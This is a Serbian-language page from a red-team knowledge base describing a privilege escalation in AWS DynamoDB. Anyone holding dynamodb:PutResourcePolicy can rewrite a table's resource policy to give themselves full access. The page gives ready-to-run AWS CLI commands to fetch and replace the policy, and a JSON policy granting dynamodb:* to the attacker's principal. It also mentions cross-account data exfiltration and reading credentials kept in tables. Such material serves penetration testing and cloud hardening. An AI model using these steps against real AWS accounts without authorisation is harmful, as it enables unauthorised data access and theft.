AWS - DynamoDB Privesc
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
dynamodb
Za više informacija o dynamodb proverite:
dynamodb:PutResourcePolicy
, i opcionalno dynamodb:GetResourcePolicy
Od marta 2024. godine, AWS nudi politike zasnovane na resursima za DynamoDB (AWS News).
Dakle, ako imate dynamodb:PutResourcePolicy
za tabelu, možete jednostavno dodeliti sebi ili bilo kojem drugom subjektu potpuni pristup tabeli.
Dodeljivanje dynamodb:PutResourcePolicy
nasumičnom subjektu često se dešava slučajno, ako administratori misle da bi dodeljivanje dynamodb:Put*
samo omogućilo subjektu da unese stavke u bazu podataka - ili ako su dodelili taj set dozvola pre marta 2024...
Idealno, takođe imate dynamodb:GetResourcePolicy
, tako da ne prepisujete druge potencijalno vitalne dozvole, već samo injektujete dodatne dozvole koje su vam potrebne:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Ako ne možete da preuzmete trenutnu politiku, jednostavno koristite ovu koja daje potpuni pristup tabeli vašem principalu:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Ako treba da ga prilagodite, ovde je lista svih mogućih DynamoDB akcija: AWS Documentation. A ovde je lista svih akcija koje mogu biti dozvoljene putem politike zasnovane na resursima I koje od ovih mogu biti korišćene između naloga (razmislite o eksfiltraciji podataka!): AWS Documentation
Sada, sa dokumentom politike policy.json
spremnim, postavite politiku resursa:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Sada biste trebali imati potrebne dozvole.
Post Eksploatacija
Koliko ja znam, ne postoji drugi direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS dynamodb
dozvolama. Možete čitati osetljive informacije iz tabela (koje mogu sadržati AWS akreditive) i pisati informacije u tabelama (što može pokrenuti druge ranjivosti, poput lambda kod injekcija...) ali sve ove opcije su već razmatrane na DynamoDB Post Eksploatacija stranici:
AWS - DynamoDB Post Exploitation
TODO: Čitajte podatke zloupotrebom data Streams
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.